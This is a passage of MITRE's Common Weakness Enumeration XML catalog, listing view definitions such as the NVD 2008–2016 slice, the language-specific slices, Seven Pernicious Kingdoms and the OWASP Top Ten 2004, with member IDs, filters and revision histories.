            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Weaknesses in OWASP Top Ten</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="630" Name="DEPRECATED: Weaknesses Examined by SAMATE" Type="Explicit" Status="Deprecated">
         <Objective>This view has been deprecated. It was only used for an early year of the NIST SAMATE project, and it did not represent any official or commonly-utilized list.</Objective>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-10-01</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, References, View_Structure</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, References, Relationships, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Weaknesses Examined by SAMATE</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="631" Name="DEPRECATED: Resource-specific Weaknesses" Type="Graph" Status="Deprecated">
         <Objective>This view has been deprecated because it is not actively maintained and does not provide utility to stakeholders. It was originally created before CWE 1.0 as a simple example of how views could be structured within CWE.</Objective>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-10-01</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, View_Structure</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Resource-specific Weaknesses</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="635" Name="Weaknesses Originally Used by NVD from 2008 to 2016" Type="Explicit" Status="Obsolete">
         <Objective>CWE nodes in this view (slice) were used by NIST to categorize vulnerabilities within NVD, from 2008 to 2016. This original version has been used by many other projects.</Objective>
         <Members>
            <Has_Member CWE_ID="16" View_ID="635"/>
            <Has_Member CWE_ID="189" View_ID="635"/>
            <Has_Member CWE_ID="255" View_ID="635"/>
            <Has_Member CWE_ID="264" View_ID="635"/>
            <Has_Member CWE_ID="310" View_ID="635"/>
            <Has_Member CWE_ID="399" View_ID="635"/>
            <Has_Member CWE_ID="119" View_ID="635"/>
            <Has_Member CWE_ID="134" View_ID="635"/>
            <Has_Member CWE_ID="20" View_ID="635"/>
            <Has_Member CWE_ID="200" View_ID="635"/>
            <Has_Member CWE_ID="22" View_ID="635"/>
            <Has_Member CWE_ID="287" View_ID="635"/>
            <Has_Member CWE_ID="362" View_ID="635"/>
            <Has_Member CWE_ID="59" View_ID="635"/>
            <Has_Member CWE_ID="78" View_ID="635"/>
            <Has_Member CWE_ID="79" View_ID="635"/>
            <Has_Member CWE_ID="89" View_ID="635"/>
            <Has_Member CWE_ID="94" View_ID="635"/>
            <Has_Member CWE_ID="352" View_ID="635"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-1"/>
         </References>
         <Notes>
            <Note Type="Maintenance">
               <xhtml:p>In Summer 2007, NIST began using this set of CWE elements to classify CVE entries within the National Vulnerability Database (NVD). The data was made publicly available beginning in 2008. In 2016, NIST began using a different list as derived from the "Weaknesses for Simplified Mapping of Published Vulnerabilities" view (CWE-1003).</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-10-01</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, References, View_Structure</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Weaknesses Used by NVD</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="658" Name="Weaknesses in Software Written in C" Type="Implicit" Status="Draft">
         <Objective>This view (slice) covers issues that are found in C programs that are not common to all languages.</Objective>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[./Applicable_Platforms/Language/@Name='C']</Filter>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Name, View_Filter, View_Structure</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-09-09">Weaknesses found in the C Language</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="659" Name="Weaknesses in Software Written in C++" Type="Implicit" Status="Draft">
         <Objective>This view (slice) covers issues that are found in C++ programs that are not common to all languages.</Objective>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[./Applicable_Platforms/Language/@Name='C++']</Filter>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Name, View_Filter, View_Structure</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-09-09">Weaknesses found in the C++ Language</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="660" Name="Weaknesses in Software Written in Java" Type="Implicit" Status="Draft">
         <Objective>This view (slice) covers issues that are found in Java programs that are not common to all languages.</Objective>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[./Applicable_Platforms/Language/@Name='Java']</Filter>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Name, View_Filter, View_Structure</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-09-09">Weaknesses found in the Java Language</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="661" Name="Weaknesses in Software Written in PHP" Type="Implicit" Status="Draft">
         <Objective>This view (slice) covers issues that are found in PHP programs that are not common to all languages.</Objective>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[./Applicable_Platforms/Language/@Name='PHP']</Filter>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Name, View_Filter, View_Structure</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-09-09">Weaknesses found in the PHP Language</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="677" Name="Weakness Base Elements" Type="Implicit" Status="Draft">
         <Objective>This view (slice) displays only weakness base elements.</Objective>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[@Abstraction='Base'][not(@Status='Deprecated')]</Filter>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated View_Filter, View_Structure</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated View_Filter</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="678" Name="Composites" Type="Implicit" Status="Draft">
         <Objective>This view displays only composite weaknesses.</Objective>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[@Structure='Composite'][not(@Status='Deprecated')]</Filter>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, View_Filter, View_Structure</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, View_Structure</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated View_Filter</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="679" Name="DEPRECATED: Chain Elements" Type="Implicit" Status="Deprecated">
         <Objective>This view has been deprecated. It has limited utility for stakeholders, since all weaknesses can be links in a chain.</Objective>
         <Filter>/Weakness_Catalog[false()]</Filter>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated View_Filter, View_Structure</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Type, View_Filter</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Chain Elements</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="699" Name="Software Development" Type="Graph" Status="Draft">
         <Objective>This view organizes weaknesses around concepts that are frequently used or encountered in software development. This includes all aspects of the software development lifecycle including both architecture and implementation. Accordingly, this view can align closely with the perspectives of architects, developers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>Software developers (including architects, designers, coders, and testers) use this view to better understand potential mistakes that can be made in specific areas of their software application. The use of concepts that developers are familiar with makes it easier to navigate this view, and filtering by Modes of Introduction can enable focus on a specific phase of the development lifecycle.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators use this view to teach future developers about the types of mistakes that are commonly made within specific parts of a codebase.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="1228" View_ID="699"/>
            <Has_Member CWE_ID="1210" View_ID="699"/>
            <Has_Member CWE_ID="1211" View_ID="699"/>
            <Has_Member CWE_ID="1212" View_ID="699"/>
            <Has_Member CWE_ID="1006" View_ID="699"/>
            <Has_Member CWE_ID="438" View_ID="699"/>
            <Has_Member CWE_ID="840" View_ID="699"/>
            <Has_Member CWE_ID="417" View_ID="699"/>
            <Has_Member CWE_ID="1226" View_ID="699"/>
            <Has_Member CWE_ID="557" View_ID="699"/>
            <Has_Member CWE_ID="255" View_ID="699"/>
            <Has_Member CWE_ID="310" View_ID="699"/>
            <Has_Member CWE_ID="320" View_ID="699"/>
            <Has_Member CWE_ID="1214" View_ID="699"/>
            <Has_Member CWE_ID="19" View_ID="699"/>
            <Has_Member CWE_ID="137" View_ID="699"/>
            <Has_Member CWE_ID="1225" View_ID="699"/>
            <Has_Member CWE_ID="1219" View_ID="699"/>
            <Has_Member CWE_ID="1227" View_ID="699"/>
            <Has_Member CWE_ID="389" View_ID="699"/>
            <Has_Member CWE_ID="569" View_ID="699"/>
            <Has_Member CWE_ID="429" View_ID="699"/>
            <Has_Member CWE_ID="199" View_ID="699"/>
            <Has_Member CWE_ID="452" View_ID="699"/>
            <Has_Member CWE_ID="1215" View_ID="699"/>
            <Has_Member CWE_ID="1216" View_ID="699"/>
            <Has_Member CWE_ID="1218" View_ID="699"/>
            <Has_Member CWE_ID="189" View_ID="699"/>
            <Has_Member CWE_ID="275" View_ID="699"/>
            <Has_Member CWE_ID="465" View_ID="699"/>
            <Has_Member CWE_ID="265" View_ID="699"/>
            <Has_Member CWE_ID="1213" View_ID="699"/>
            <Has_Member CWE_ID="411" View_ID="699"/>
            <Has_Member CWE_ID="399" View_ID="699"/>
            <Has_Member CWE_ID="387" View_ID="699"/>
            <Has_Member CWE_ID="371" View_ID="699"/>
            <Has_Member CWE_ID="133" View_ID="699"/>
            <Has_Member CWE_ID="136" View_ID="699"/>
            <Has_Member CWE_ID="355" View_ID="699"/>
            <Has_Member CWE_ID="1217" View_ID="699"/>
         </Members>
         <Notes>
            <Note Type="Other">The top level categories in this view represent commonly understood areas/terms within software development, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.</Note>
            <Note Type="Other">This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Description, View_Audience</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Other_Notes, Relationships, View_Audience</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Development Concepts</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="700" Name="Seven Pernicious Kingdoms" Type="Graph" Status="Incomplete">
         <Objective>This view (graph) organizes weaknesses using a hierarchical structure that is similar to that used by Seven Pernicious Kingdoms.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>This view is useful for developers because it is organized around concepts with which developers are familiar, and it focuses on weaknesses that can be detected using source code analysis tools.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="254" View_ID="700"/>
            <Has_Member CWE_ID="361" View_ID="700"/>
            <Has_Member CWE_ID="388" View_ID="700"/>
            <Has_Member CWE_ID="1005" View_ID="700"/>
            <Has_Member CWE_ID="227" View_ID="700"/>
            <Has_Member CWE_ID="398" View_ID="700"/>
            <Has_Member CWE_ID="485" View_ID="700"/>
            <Has_Member CWE_ID="2" View_ID="700"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Other">The MITRE CWE team frequently uses "7PK" as an abbreviation for Seven Pernicious Kingdoms.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Other_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="701" Name="Weaknesses Introduced During Design" Type="Implicit" Status="Incomplete">
         <Objective>This view (slice) lists weaknesses that can be introduced during design.</Objective>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[(@Abstraction='Base') or (@Abstraction='Class')][./Modes_Of_Introduction/Introduction/Phase='Architecture and Design']</Filter>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-02-10</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Updated the View_Filter to reflect new structure in CWE Schema v4.2</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated View_Filter</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated View_Filter</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="702" Name="Weaknesses Introduced During Implementation" Type="Implicit" Status="Incomplete">
         <Objective>This view (slice) lists weaknesses that can be introduced during implementation.</Objective>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[./Modes_Of_Introduction/Introduction/Phase='Implementation']</Filter>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-02-10</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Updated the View_Filter to reflect new structure in CWE Schema v4.2</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated View_Filter</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
         </Content_History>
      </View>
      <View ID="709" Name="Named Chains" Type="Implicit" Status="Incomplete">
         <Objective>This view displays Named Chains and their components.</Objective>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[@Structure='Chain']</Filter>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, View_Structure</Modification_Comment>
            </Modification>
         </Content_History>
      </View>
      <View ID="711" Name="Weaknesses in OWASP Top Ten (2004)" Type="Graph" Status="Obsolete">
         <Objective>CWE entries in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1. This view is considered obsolete as a newer version of the OWASP Top Ten is available.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="722" View_ID="711"/>
            <Has_Member CWE_ID="723" View_ID="711"/>
            <Has_Member CWE_ID="724" View_ID="711"/>
            <Has_Member CWE_ID="725" View_ID="711"/>
            <Has_Member CWE_ID="726" View_ID="711"/>
            <Has_Member CWE_ID="727" View_ID="711"/>
            <Has_Member CWE_ID="728" View_ID="711"/>
            <Has_Member CWE_ID="729" View_ID="711"/>
            <Has_Member CWE_ID="730" View_ID="711"/>
            <Has_Member CWE_ID="731" View_ID="711"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-570"/>
            <Reference External_Reference_ID="REF-571"/>
         </References>
         <Notes>
            <Note Type="Relationship">CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.</Note>
            <Note Type="Relationship">As of 2008, some parts of CWE were not fully clarified out in terms of weaknesses. When these areas were mentioned in the OWASP Top Ten, category entries were mapped, although general mapping practice would usually favor mapping only to weaknesses.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="734" Name="Weaknesses Addressed by the CERT C Secure Coding Standard (2008)" Type="Graph" Status="Obsolete">
         <Objective>CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the book "The CERT C Secure Coding Standard" published in 2008. This view is considered obsolete, as a newer version of the coding standard is available. This view statically represents the coding rules as they were in 2008.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>By following the CERT C Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>If a software developer claims to be following the CERT C Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="735" View_ID="734"/>
            <Has_Member CWE_ID="736" View_ID="734"/>
            <Has_Member CWE_ID="737" View_ID="734"/>
            <Has_Member CWE_ID="738" View_ID="734"/>
            <Has_Member CWE_ID="739" View_ID="734"/>
            <Has_Member CWE_ID="740" View_ID="734"/>
            <Has_Member CWE_ID="741" View_ID="734"/>
            <Has_Member CWE_ID="742" View_ID="734"/>
            <Has_Member CWE_ID="743" View_ID="734"/>
            <Has_Member CWE_ID="744" View_ID="734"/>
            <Has_Member CWE_ID="745" View_ID="734"/>
            <Has_Member CWE_ID="746" View_ID="734"/>
            <Has_Member CWE_ID="747" View_ID="734"/>
            <Has_Member CWE_ID="748" View_ID="734"/>
         </Members>
         <References>
